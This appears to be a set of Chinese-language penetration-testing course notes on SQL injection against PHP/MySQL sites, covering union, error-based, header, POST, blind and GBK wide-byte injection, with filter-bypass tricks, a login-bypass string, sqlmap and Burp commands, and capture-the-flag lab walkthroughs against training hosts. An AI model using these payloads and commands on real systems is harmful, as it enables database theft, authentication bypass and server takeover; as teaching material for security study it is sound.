(98年rfp 黑客发现)
1.1 Sql注入攻击的原理/本质
Sql注入攻击的原理/本质:把用户输入的数据当作代码执行了。
源码:sql=$_REQUEST[‘uname’];
Eg:sql=”Select * from admin where uname =’a’ and 1=1 #’”
注:通过用户输入数据闭合传参的单引号,然后写入自己想要进行执行的sql语句,即可对数据库进行操作。
1.2 Sql注入需要满足的两个条件:
用户能够控制输入
原本程序要执行的代码,拼接了用户输入的数据然后进行执行。
1.3sql注入原理分析
1.3.1注入流程
主要利用mysql 5.0 以上版本 的系统自带库 。查询库与表之间的信息。正常来说后台传参一般用request来接收,所以我们post和get都尝试一下。
利用动态界面与数据库的传参交互/?id =1 and 1=1,1=2
也可以通过大于小于号来判断比如 and 1<0等等。
当and 1=1 and 1=2被拦截的时候我们可以尝试and -1=-1 或者-1=-2 类似的 or 1=1 等等,或者直接or sleep(5)
也可通过or ,来判断,比如/?id = 1 我们可以改为id=-1 or 1=1 看页面返回是否正常。
也可通过or sleep(5)来观察那页面是否缓冲了5秒,虽然有的时候网络信号不好也会缓冲,但是连续使用两次如果时间差不多相同也可以判断存在注入。
也可以通过/?id=2-1 观察页面是否返回第一个正常页面,如果返回正常则说明该页面存在sql注入。(一般用减法)
也可以在传参后面加 ‘ 单引号,看页面是否报错,如报错则说明也有可能存在注入。
用order by 判断字段数。
然后使用 联合查询<=> 将两个语句查询的数据输出在一起。(要求:字段数必须相同,需要知道当前表的字段数使用order by排序,如果有4个字段,/? id =1 order by 5就会报错 即可)
使select 1...数量与order by 判断出来的字段数相同,即可判断显错点,因为数据库不会把库里的信息全部显现出来(有开发控制选择性输出),所以我么需要根据利用显错点位置获取相应的信息,管理员账号密码等。
Eg: 若有两个字段,
/? id =1 union select 1,2
即可通过1,2出现的位置,来判断显错点的位置,若返回界面正常则看不出来先错点的位置,因为数据库会默认表中第一行数据显示出来。
我们可以通过让第一行数举报错来判断显错点的位置。
/? id =-1 union select 1,2,来显示判断先错点的位置。
也可使用limit函数来观察,limit 0,1表示从第零行数据开始显示,显示一行。 以此来观察显错点。
1.3.2 Mysql必备知识点
- 获取数据在哪个表里 => 数据库里有什么表 =>该界面的表在什么数据库里。
- MySQL 数据库5.0以上版本加入了information_schema 系统自带库,其中保存着关于MYsql 服务器多维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型及访问权限等。
- 当然mysql的功能还是有很多,除了读取数据之外,还可以对文件进行写入,我们可以由此给他写个一句话木马。写入之前需要开启general log 在mysql命令行开启。
可使用函数database()数据库名
Version()版本
User()当前用户等函数
正常情况下一个网站一个数据库。
网站查出数据只会输出第一行。(使用limit 等)
1.3.3系统自带库查询利用
*information_schema 中有了两张重要的表:
1)Information_schema.tables表:存放表名和库名的对应【实际上选中的是information_schema 库中的tables表】
2)Information_schema.columns表:存放字段名与表名的对应查询语句:
1.查询information_schema.tables表中 库名为database()的表名(在SQL注入时需使用联合查询莫忘在select 前加上union)
Select 1,table_name,3 from information_schema.tables where table_schema = database()
可能会查出表名为admin
2.查询information_schema.columns 中表中表明为admin的字段名(这里如果可能别的库中也存在该表,我们可以加一个库名的制定)
Select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name =’admin’
可能会查出字段id,username,password。
3.继续查询相应字段对应的数据
Select 1, username from admin
(admin为表名 usnername/password 为字段名)
Select 1, password from admin
group_concat()
Select group_concat(字段名) from 表名
注释*:在mysql中常见的注释符表达式:#或 --空格 或者/**/
内联注释:/*!Sql语句*/只有MySQL可以识别,常用来绕过waf
例如select * from article where id =-1/*!union*//*!select*/1,2,3,4
1.3.4靶场截图
首先联合查询,判断字段数,打入库名查询。

当我们知道数据库名的时候,我们要查询的是表名,查询error的库中有什么表,在那张表里能获取flag,于是我们在传参后边拼接入这条语句:?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘error’ 因为mysql5.0以上存在着系统自带库,我们可以通过查询此库,来查询error中的表,我们可以在输出点上看出error中有两个表。我们可推断出flag可能在error_flag表中。
之后步骤自行进行即可。

1.3.5 Mysql绕过番外篇
Mysql中大小写不敏感
Url与16进制编码
符号关键字替换and --&& or --||
内联注释与多行注释/*!内联注释*/ /*多行注释*/
自动识别url和hex编码
Preg_replace(mixed $patten,mixed $replacement,mixed $subject):
执行一个正则表达式搜索和替换$pattern:要搜索的模式,可以是字符串或者一个字符串数组
$replacement:用于替换的字符串或者字符串数组
$subject:要搜索替换的目标字符串或者字符串数组
1.过滤注释符
换种思路如 or ’1’=’1
这样后边的单引号就会和系统的代码单引号闭合,而且不用写#,-- qwe 注释了。
如果过滤了注释符 # , -- qwe等
我们可以尝试
Id=1’ union select 1,2,’3
Id=1’ union select 1,database(),’3
这样在诸如语句后边就不用加#类似的注释符了。一样可以实现效果。
然后我们可以在2的位置打上变量。
绕过过滤and 和or的关键字
1)大小写绕过 mysql中大小写不敏感
2)an/**/d 中间加注释 oorr双写绕过
3)利用符号代替 and --&& or--||
3.绕过去除空格的sql注入
Hex 空格url编码 %0a <==>空格
Sqlmap探测
Sqlmap -u xxx.xxx.xxx.xx --hex --dbs --batch
--hex调用dbms中的hex函数
1.4测试工具sqlmap
1.4.1sqlmap简介
因为sqlmap是基于python 运行的,所以安装使用之前要先安装python。在安装完之后,要想Java一样配置环境变量,配置好之后在python的文件夹下在目录上输入cmd即可即可在当前目录下打开cmd,输入sqlmap.py 即可调用sqlmap,出现相应图案即调用成功。

1.4.2核心命令
Sqlmap核心在于输入命令
必备命令:
-u 指定url 跑
-v 指定等级 1——5 级
--dbs 跑库名
--tables 跑表名
--columns 跑字段名
--dump 跑数据 【较敏感 不宜直接使用】
--batch【默认探测不用点回车yes】
-D 指定库
-T 指定表
-C 指定字段
常用命令:
--random-agent 选择随user-agent头
--delay=1 每次探测延时1s(防止访问速度过快 IP被ban)
--count 查看数据量 eg:-T admin --count 可查看表中有几条数据。
--proxy “http://127.0.0.1080” 使用本地1080端口
--is-dba 查看用户数据库权限 dba如果权限为true 则为管理员权限可以尝试直接拿webshell
--os-shell在权限是dba权限的情况下可以此命令getcmd的shell
--flush-session 无视缓存
当跑的网站需要闭合的时候我们需要手动闭合,如果是url传参,还需要转码,在进行闭合。
1.4.3命令执行截图
-u 指定url 跑
sqlmap.py -u http://59.63.200.79:8003/?id=1
*注:即可对相应的注入点进行测试。切记 不可直接在-u后边接网址一定要带上传参。
--dbs 跑库名
sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs

*注:可见上述方法跑除了3个库名,分别是information_schema,maoshe,test.
-D 库名 --tables
跑指定库中的表名(-D 代表指定相应的库,--tables 代表跑表名)
sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe --tables
*注:D 为大写,且前面有了一条横杠,tables 为小写,前面有两条横杠。
可见跑出表名为admin,dirs,xss,news。

-T 表名 --columns
跑指定表中的列名
sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin --columns
*注:T 为大写,且前面有了一条横杠,column为小写,前面有两条横杠。
可见admin表中跑出列名名为Id,password,username。

-C 字段名 --dump
跑指定字段名中的数据
sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C password -- dump
可查询多个字段数据,用逗号隔开字段名。
-D xxxx -T xxx -C username,password --dump --batch(查询特定的字段名)
*注:C为大写,且前面有了一条横杠,dump为小写,前面有两条横杠。
可见字段password中跑出数据为hellohack,zkaqbanban。

1.5 Head 和post 注入
Post传参/get 传参的区别:get传参数据较少,post可以传参可以很大;get传参会经过url编码,post不会;post传参可以实现多种功能,如文件上传等。
5.1 post注入简介
Post注入高危点:一般出现在有表单框的地方,如登录框,查询框,等各种有数据交互的框。
首先若是白盒渗透 ,若表单以post方式提交数据是硬拼接,没有任何过滤,即有可能存在post注入。若实战没有源码,做黑盒,通过尝试来找注入。
Eg:$sql = ’select *from user where username=\’’.$username.’\’ and password =\’’.$password.’\’’;
$sql =’select *from user where username=\’’.$username.’\’ and password =\’’.$password.’\’’;
$sql=“select *from user where username=’ ”.$username.” ’and password =’ ”.$password.” ’ ” ;
$sql=“select *from user where username=’$username’and password =’$password’ ” ;
注*
\ 代表转义字符
“”双引号内的全部是字符串
Sql语句:Select *from admin where username =’admin’ and password ='123456'
sqlmap跑post注入sqlmap.py -u xx.xxx.xxx.xxx --form
1.5.2万能密码
当登录框的sql语句如下列语句时,不对任何post传参做过滤,我们便可以引入一种手法佳作万能密码。及针对sql语句的逻辑进行篡改从而进行登录。
select *from user where username=’$username’and password =’$password’
Select *from user where username =’’ or 1=1# ’
’ or 1=1#
单引号用来闭合前面的引号,中间写入sql语句,# 用来注释后边代码里的引号。
若实战没有源码,做黑盒,通过尝试来找注入。
1.5.3 Sqlmap探测post注入
将抓到的数据包保存到文档中,在想要探测的参数后边加个*.

然后用下列语句进行跑包。
Eg:tool\sqlmap-master>sqlmap.py -r 1.txt
Sqlmap 也可跑包通过burp抓的数据包也可与交给sqlmap进行跑。

可跑出数据库信息。

若想进一步进行探测可以在文件后边加入需要的选项。
例如 :指定
--dbs 跑库名
--tables 跑表名
--columns 跑字段名
--dump 跑数据 【较敏感 不宜直接使用】
-D 指定库
-T 指定表
-C 指定字段等等。
--keep-alive 连接
--tecnique TEUQ..指定注入技术进行探测。
T延时盲注U联合查询Q查询B布尔盲注E报错S堆叠注入
Eg:tool\sqlmap-master>sqlmap.py -r 1.txt -D post_error --dump
书写方式如上例直接将需要的选项加在文件名之后即可。
*注:将祝好的数据包直接粘贴到文件上保存到sqlmap的根目录下即可加载文件名直接跑。否则-r选项之后要加上文件的绝对路径。
1.6 Head注入
1.6.1 Head注入介绍
Php中很多预定义变量都是超全局的,即事先没有定义好的,不用定义可以直接拿来用的。
首先了解几个超全局变量:
$_REQUEST 接收;post/get/如果php版本低的话也可以获取COOKIE传参。
$_POST接收post传参
$_GET接收get传参
$_COOKIE接收post传参
$_SEVER包含了诸如头信息,路径,及脚本位置等等信息的数组。$_SEVER功能强大。
$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip
$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER['HTTP_REFERER'] 获取Referer请求头数据
1.6.2超全局变量简介
这里我们dump查看$_SERVER的数据,这里我们可以看到HTTP打头的数据都是用户访问产生的。


1.6.3 head注入场景
有的时候登陆后发现可以看到上次的ip登陆地址,说明我们在登陆时信息被获取,获取方式有可能就是因为请求头。可是为什么后端知道这个是我的IP,而不是别人的呢,这就是因为信息插入了数据库。原因有两点:
1.采集了信息。
将采集到的信息放入了数据库。【与数据库进行了交互】
插入语句【没有回显】
1.6.4 Head注入核心
Head 注入一般没有回显,所以只能盲注或者与报错注入配合。
通过代入数据库的篡改请求头进行注。我们可以通过谷歌插件修改请求头。
如果测试被记录ip那么可以尝试head注入
1.6.5 Updatexml()用法及注入手段
Updatexml() 更新xml文档函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
路径出错会报绝对路径错误
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
updatexml(1,concat(0x7e,(SELECT database())),1)#
打入sql语句后边的0x7e,可有可无,前边有一个0x7e足以让数据库报错了。
0x7e代表16进制的~,因为如果要直接写~符号的的话,作为一个字符串,他需要用单引号’’括起来,但是一般的站点他都会过滤单引号,所以这里我们使用16进制,但是切记16进制只能对单双引号中的数据进行使用,向我们数据库的代码语句,如select,union等语句,是没有办法用16进制的。
因为head注入没有回显,所以我们引入了一个函数updataxml()函数利用数据库报错查看回显。
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码!
[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号~ 可这个符号是可以替换的,主要是让其报错,因为路径里是不允许出现特殊符号的,然后不符合路径规则报错。
因为head注入没有回显,所以我们引入了一个函数updataxml()函数利用数据库报错查看回显。
如下例,用此语句通过报错产看到了子查询中的库名。
Eg:Select*from admin where uname='admin' and updatexml(1,concat(0x7e,(select database())),1)

这里我们将select database() 语句换成别的相应的查询语句,即可查询出别的信息。但是切记这里的报错查询结果只能返回一行数据,像select*from admin 这样查询结果为多行的语句是实现不了的。一定要写这样的。
Eg:select password from admin limit 0,1
接下来我们来看靶场。
1.6.7靶场截图
1.6.7.1靶场分析
这里源码是这样写的,将uagent的数据拼接进数据库,因为这里有2个字段,uagent和username,所以我们再要想使用注释,将后边的语句注释掉的时候,要先将字段填充完整,因为这里有2个字段,所以这里我们前边写入的语句都是为了再uagent字段进行注入,而后边的1是为了填充字段,如果做黑盒测试的时候我们无法判断这个字段的个数,就只能去进行盲猜逐个增加进行补充。
切记:在使用子查询的时候还是用()括起来。
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
1.6.7.2 Head注入靶场核心payload
' or updatexml(1,concat(0x7e,(select database())),1),1)#
updatexml(1,concat(0x7e,(select database())),1)
concat(0x7e,(select database()))
select database()
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('' or sleep(10),1)#','$uname')";
1.6.7.3查询flag payload
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='head_error')),1),1)#

靶场2、3则是分别修改xff和rerfer
1.6.8 用SQLmap跑head注入
用sqlmap跑head 注入与跑post注入是类似的,都是在需要检测注入的页面抓取一个数据包,然后将数据包的文件保存在一个文档里,将需要跑注入的变量,随便赋一个值打上一个星号。然后打开sqlmap,但最好还是对其进行一个闭合或者字段填充。
例如User-agent:’*,1)#
键入sqlmap.py -r 文件绝对路径 即可进行检测。
1.6.9靶场知识点
1.REFERER:告诉服务端该网页是从哪个页面跳转过来的。
2.X-Forwarded-For:X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。[透明代理]
我们通过插件修改请求头 并在其后进行注入。
getenv是函数名,从环境中取字符串,获取环境变量的值,getenv()用来取得参数envvar环境变量的内容

当今多数缓存服务器的用户为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下,这些代理服务器是透明代理,用户甚至不知道自己正在使用代理上网。那么为了获取你的真实IP就要用到X-Forwarded-For了。
上边这段Getip函数是被很多网站和CMS广泛使用的,是属于一个模板,其实就是为了获取你的真实ip,在有代理的情况下,你会发送另外一些请求头来说明你的ip是啥,其中X-Forwarded-For就是其中一种请求头字段。
那么这个getip这里面很明显没有任何过滤,如果被传入的数据被拼接进SQL语句就会发生SQL注入。
1.7 Burp 抓包技巧
当我们使用burp 做弱密码爆破的时候看众多回显会很复杂,我们可以使用会先数据的排序,这个三角 为小数在前,倒三角为大数字在前,这样我们可以轻松的知道异常的返回情况,并轻而易举的判断正确的密码与账号。
当我们们使用burp来跑延时盲注的时候,我们可以再跑包的时候打开column-->responses complete选项即可检查到数据跑出来后有延时的几项明显不同。
1.8盲注
1.8.1盲注介绍
服务器没有错误回显,关闭了回显或者只显示一些常规错误,并没有解决实际的代码问题。用true或者false的方式强制获取数据。(bench mark 完成盲注)

盲注所对应的是显错注入,显错注入我们之前学过,但是很多时候,Web服务器关闭了错误回显。
1.8.3盲注类型
盲注分为两种类型,布尔型/时间型
1.8.2注入类型
1.显错注入:【union】联合查询找输出点。联合查询标准显错注入。
2.报错注入:没有输出点,插入语句。Updatexml 通过报错回显将数据带出。
3.盲注:在服务区没有错误回显,且关闭输出点的情况下完成注入。
1.8.4盲注相关函数
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。
1.8.4.1函数应用实例
数据库名为:jiang 首字母的ascii值:106
Select *from news where id =1 and ascii(substr(database(),1,1))=106;
由此语句不难看出如果数据库名的第一位字母的ascii值是106的话则页面会返回正常,则可以判断第一位字母为j。
由此我们可以引入一些函数通过数据库名的每一位字母的ascii值来逐步才猜解出库名。


length() 函数 返回字符串的长度

substr() 截取字符串 (语法:SUBSTR(str,pos,len);)

ascii() 返回字符的ascii码 [将字符变为数字wei]


sleep() 将程序挂起一段时间n为n秒
1.8.5布尔盲注靶场思路
首先使用and 1=1返回正常。
然后我们可以通过?id=1’and length(database())=1 -- qwe开始逐渐使数值递增,来判断数据库名的长度如果长度小于或者等于返回界面都会正常,如果数值超出了数据库名的长度则会报错。我们即可通过临界值来判断数据库名的长度。
我们同样是利用该ascii值来判断数据库名的每一个字母是甚么。例如:利用ASCII码猜解当前数据库名称:
And ascii(substr(database(),1,1)) =115--+ 返回正常,说明数据库名称第一位是s
and ascii(substr(database(),2,1)) =101--+ 返回正常,说明数据库名称第二位是e
靶场payload:
?id=1 and ascii(substr(databse(),1,1))>99
如果数值大于99则会返回界面正常,小于99则会报错。我们同样通过递增数值(可用2分法),找寻临界值的方法,来猜解数据库名的每一位字母。
4)猜表名
And ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101--+ 返回正常,说明数据库表名的第一个的第一位是e
5)猜字段名
And ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)) = 102--+
返回正常,说明zkaq表中的列名称第一位是f
6)猜数据
And ascii(substr(( select zKaQ from zkaq limit 4,1),1,1))=122--+返回正常,说明zKaQ列第一位是z
1.8.5.1 Burp跑布尔盲注
http://59.63.200.79:8815/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=9
爆破看库名的时候,抓到数据包,在上述红色的两个位置打上变量,然后设置pyload进行爆破,看返回数据的长度不同,判断哪个是真正数据,如下图不难看出,其余数据长度均为316多,只有前十几个数据时319多可见返回异常,是我们想要的数据。
库名:kanwolongxia
但是我们发现倘若12个字符全都用如此方法猜解,太过麻烦,于是这里我们引入了burp来帮助我们解决问题。
1.8.5.2 burp两种方法
1.8.5.2.1 单payload
方法1.一个payload每次跑一一个字母,分次数跑。
这里我们将ascii值打上变量,将范围设置在0-128因为ascii值只有这么多,这里我们跑完之后发现,所有返回包中3197这条数据与众不同。于是我们查看他的返包,发现他的返回包查询结果栏里显示的是有数据。于是我们确该payload,110即为第三个字符的ascii值,为小写字母n。


1.8.5.2.2 双payload
方法2:我们直接设置两个payload直接跑出库名
1.跑库名:
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=9
在位置和ascII值上打上变量 跑包即可






我们在跑完数据包时如何辨别那个是我们想要的数据呢,一般我们是通过数据包的长度来进行判断,由上图我们跑出来的结果可以看出来,其余没有返回数据的包长度都是3164...,只有我们跑出数据的包的长度才是3197,3198会发现他们的数据包长度上会有一个明显的不同。如果我们跑的是延时盲注的话,我们就可以通过包的返回时间来判断那个数据包时我们想要的。我点击每个项的旁边都会有一个自动排序的按钮帮我们寻找。
2.跑表名:
再跑表名之前我们先来判断一下表名的长度。通过length函数先来判断表名的长度。如下图长度为6.

爆破表名的时候也和库名一样,抓到数据包,在上述红色的两个位置打上变量,然后设置payload进行爆破,看返回数据的长度异常,判断哪个是真正数据,如下图不难看出



不难看出,其余数据都是324几,只有几个特殊数据,长度为327几,所以可见其为表名。
然后我们对表名进行跑包,跑出表名为loflag。
靶场2只是闭合的方式由单引号变为了双引号。
靶场3 改为了post的盲注。我们同样先对其数据库名长度进行判断。着了我们选则用
or length(database())>1 #如我们的判断正确则会返回登录成功。

于是我们对其数据名进行跑包,和get型传参几乎没有区别。
先进行数据库名长度判断随后进行数据库名猜解。我们发现post的盲注里返回是登陆成功的,即为返回正常得界面。这里我们将ascii值转换一下。库名就是kanwolongxia

之后是对表名进行猜解。

1.8.5.3 Sqlmap 跑盲注注意事项
Sqlmap可以跑盲注
Sqlmap 跑盲注的时候,有的单双引号没有闭和,需要进行url编码后加在网址后边帮其闭合才能跑出来,或者调高测试等级。(--level 3)
Sqlmap跑post类型盲注直接抓包跑就完了。(-r 绝对路径)
1.8.6时间盲注
1.8.6.1时间盲注情景介绍
界面返回值只有一种true,无论我们键入甚么值and 1=1还是and 1=2 返回页面都会正常。这是我们通过加入特定的时间函数,通过页面返回时检查来判断注入是否存在。
?id=1 and sleep(5) 有些带引号的传参我们需要将引号闭合,的有可能单引号也有可能给双引号,还有肯能带括号,具体情况具体分析。
1.8.6.2 注释介绍
闭合之后还要将原有的数据库引号注释。
例如:空格--空格qwe,#,如果是url栏井号我们需要对其进行url编码为23%,以为直接在url上传引号,容易和html中的锚点(锚链接)进行混淆。
但是#只有在MySQL中有效果。
空格--空格qwe 在大多环境下都适用。
1.8.6.3时间盲注主要函数
我们就时间注入引入一个函数
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误就执行第三个。
1.8.6.3.1 if函数应用
Eg:select if (1=1,’a’,9);

1)当我们实际对网站进行实战的时候,可以使用类似的与语句。
Eg:Select if(ascii(substr(database(),1,1))=106,sleep(3),’a’)
如果数据库名字首字母的ascii值等于106,就沉睡3秒钟,如果不等于就输出a。

2)我们也可以通过大于小于来确定其ascii值的范围。
Eg:Select if(ascii(substr(database(),1,1))>105,sleep(3),’a’)

通过以上两种方法,我们可以以此判断出数据库中想要的得到的信息。
1.8.6.4延时盲注靶场
靶场1
0.id=1 and sleep(5) 判断是否存在注入
1.首先我们来判断数据库名的字符长度。
and if(length(database())=12,sleep(10),0) — qwe
我们发现返回界面延时了10s,则说明了数据库名的长度为12
http://59.63.200.79:8815/Pass-13/index.php?id=1 "and if(length(database())=12,sleep(5),0) -- qwe

2.我们猜解库名。
判断库名首字母ASCII值是否大于1,如果库名的第一位字母大于1,则睡眠5s
http://59.63.200.79:8815/Pass-13/index.php?id=1 "and
if(ascii(substr(database(),1,1))>1,sleep(5),0) -- qwe
3.判断表名长度
http://59.63.200.79:8815/Pass-13/index.php?id=1 "If(length(select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(5),0) -- qwe

4.判断第一个表的第一位数值大小
http://59.63.200.79:8815/Pass-13/index.php?id=1 "and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108,sleep(3),0) -- qwe
同理布尔盲注一样,演示盲注也是通过抓包来在上述的两位置上打上变量.但是由于是延时盲注,无论结果是否正确返回包的长度都是相同的,所以我们不能通过返回包长度来判断asii值是否匹配。
我们通过勾选column->requset complete来看返回的结果,request complete 来哪个请求时间异常,则哪个就是目标数据,由下图可见,数据据属下8000多的数据即为异常数据,为表名。

Ioflag表名
靶场2只是闭合方式不同,没有什么本质的.区别.
1.8.6.5 sqlmap 跑延时盲注
Sqlmap跑延时盲注,与跑显错注入没有区别,为了更好的抛出数据,只要将sqlmap的等级调制3即可
sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1 --level 3


1.9 宽字节注入
1.9.1宽字节注入应用场景
宽字节注入一般用来突破魔术引号
存在注入的语句
Eg:$sql='select*from admin where username\''.$REQUEST['username'].'\' and password =\''.$REQUEST['password']
一般数据库编码不是英文编码的时候我们都可以尝试宽字节注入。
一般黑盒的时候我们没有办法知道数据库编码,所以直接威胁建模上去尝试就好了。
而白盒的时候我们可以去查看数据库编码,一般数据库编码只要不是英文编码都可以尝试宽字节注入的。
1.9.2 Php防御函数--魔术引号
1.9.2.1什么是魔术引号?
魔术引号(主要作用于get post cookie等接受传参的方式)
魔术引号PHP5.3.0后就被废除,5.4.0后就被移除,但是一般的CMS全部都有使用,他们写了专门的魔术引号函数。
在php某些版本存在魔术引号,但是php5.4以上版本取消了魔术引号。
magic_quotes_gpc(魔术引号开关)
Php.ini文件第445行控制魔术引号开关。关闭魔术引号之后,传参就变得正常了,不会在上传时候在/,单双引号前加转义了。
1.9.2.2魔术引号的作用
magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
例如:单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤
单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入。
魔术引号为我们渗透测试带来的最大的困难就是无法闭合。
这其中包括单引号,双引号等等。
当我们遇到魔术引号后有两种思路:1.寻找不需要闭合的注入的点 2.使用宽字节注入。
1.9.3什么是GBK编码?
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms)
我们就以gbk字符编码为例,拉开帷幕。GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们可以通过输出来验证这句话。
因为计算机不是中国人发明的。是 英语国家的人发明的,不兼容中国的文字。
例如:abcdefg 单字符都占一个字节 (26个英文字母)
汉字非常多 GBK是用双字节
27% ‘
0xD50x5C 对应了汉字“誠”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“誠”。

1.9.4宽字节注入的原理
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码,即不是utf-8那么就有可能产生宽字节注入。
例如说MySql的编码设置为了SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
宽字节SQL注入就是PHP发送请求到MySql时使用了语句
SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
1.9.4.1 php产生魔术引号/宽字节注入手段
我们进行宽字节注入主要有3个方法。1.%df2.汉字3.burp抓包修改hex(一般传参为post,汉字和%df发挥不了作用时使用这种方法)宽字节注入流程也很简单1.首先尝试各种方式吃掉/,想法让我我们提交的符号逃逸出来,完成闭合。2.之后的流程与正常的sql注入思路大致相同。
例如我们在传参的时候上传了一个单引号。魔术引号会给我们添加一个反斜杠
1)Select*from news where id=’\’’
这段语句最后是要放到mysql执行的。[mysql用了GBK编码]
因为反斜杠是一个单字符,那么如果我们在上传一个单字符,即在反斜杠前边再添加一个字符,
Select*from news where id=’%df\’’
反斜杠+前边的字符(%df) (%df\)= 拼凑成一个汉字 假设%df\是一个成字。=>Select*from news where id=’成’’,这样我们就成功吃掉了魔术引号添加的”\”,使得我们用来闭合的单引号就逃逸出来了,使其可以发挥闭合的作用。
*注:%df可替换,主要是为吃掉后边的“\”使其失去转义的效果。
2)还有一些情况我们上传汉字也是可以的。比如下列情况。
Eg:Select*from news where id=’汉’’
因为一个utf-8编码的汉字,占用3个字节,而反斜杠/占一个字节 ,当 一个‘汉’字+一个反斜杠\(尽量使用笔画多的字)
汉\ =四个字节=>两个汉字(GBK编码)。
UTF-8 编码中一个汉字占3个字节而GBK编码中一个汉字占两个
当传参不是url 栏GET传参时,如果时post传参那我们就不能直接传%df了,因为%df是get传参,不适用于post传参。
当传参方式为post时,我们可以通过抓包来改hex值的方式来修改传参进而来完成注入。通常我们将传参改为如下所示。
Burp解决post框宽字节注入。
1.9.5 Burp宽字节
宽字节注入然后我们将抓到的数据包修改hex值找到61的地方,因为a的ascII为61,然后将其改为df即可实现在上述中的吃掉/的作用进而完成注入。当传参方式是post时,如果上传汉字不能成功注入,我们就可以通过抓包的方式来完成。
URL编码 <=>16进制
%df (url编码)<=>df(16进制)
%url特有的
%27=> 0x27(16进制)=>39(十进制)
汉字在gbk编码中是2个字节,而在utf-8万国编码中是3个字节。
正常我们前端传参的都是UTF-8编码,在UTF-8中汉字是3字节,加上魔术引号的反斜杠 \ 正好是4个字节,在数据库中会被认为是两个汉字。
而且url中?id=1类似的传参容错性很高,数字1后的东西都不会在意,如?id=1agsdgsgsa
1.9.6 靶场通关
靶场1
1.首先我们来判断这里是否存在注入。我们发现我们输入的and 1=1 被闭合在了单引号里,而且我们用来闭合的单引号也被强行加上了/。进行了转义。

2.这里我们就尝试进行宽字节注入。我们在这里进行%df的拼接,我们发现界面返回不正常了index.php?id=1%df’ and 1=1 — qwe


3.这里我们也可以尝试输入一下汉字,看看效果。可见汉字也是可以实现效果的。


4.我们实现了闭合接下来就要对其进行注入了。首先我我们对当前表的字段数做一个判断。经过判断我们发现当前表有三个字段

5.而后我们进行联合查询找输出点。我们发现login 和password 的位置都是输出点。

6.之后我们来进行库名的查询。我们查询到库名为widechar

然后我们来进行表名的查询。
后续的过程和普通的mysql注入没有区别。
注意:这里我们在查询表名的时候需要用到库名,但是正常我们使用库名的时候一般都是用单引号括起来,但是由于魔术引号的原因,我们这里无法使用单引号,这里我们有两个方法。1.使用子查询2.使用16进制编码(将库名不带单引号直接16进制转化,使用时直接在前边加上0x即可。)http://www.bejson.com/convert/ox2str/


靶场2
1.同靶场1不同的是这里的闭合方式变了,但是思路都一样。我们首先进行来判断是否存在注入。我们发现闭合以后and 1=1 和 and 1=2 的返回结果不同。可见这里存在注入。


2.我们尝试对其进行注入,先对当前表的字段数进行判断。 经过判断我们可以确定当前表有3个字段

3.然后我们联合查询判断输出点的位置。我们可见login和password的位置都是输出点。

4.然后我们对其进行库名查询。

5.然后我们进行表名的查询。

而后我们可一步一步对其注入,获取字段名,及flag。flag:zKaQ-CAIK
靶场3
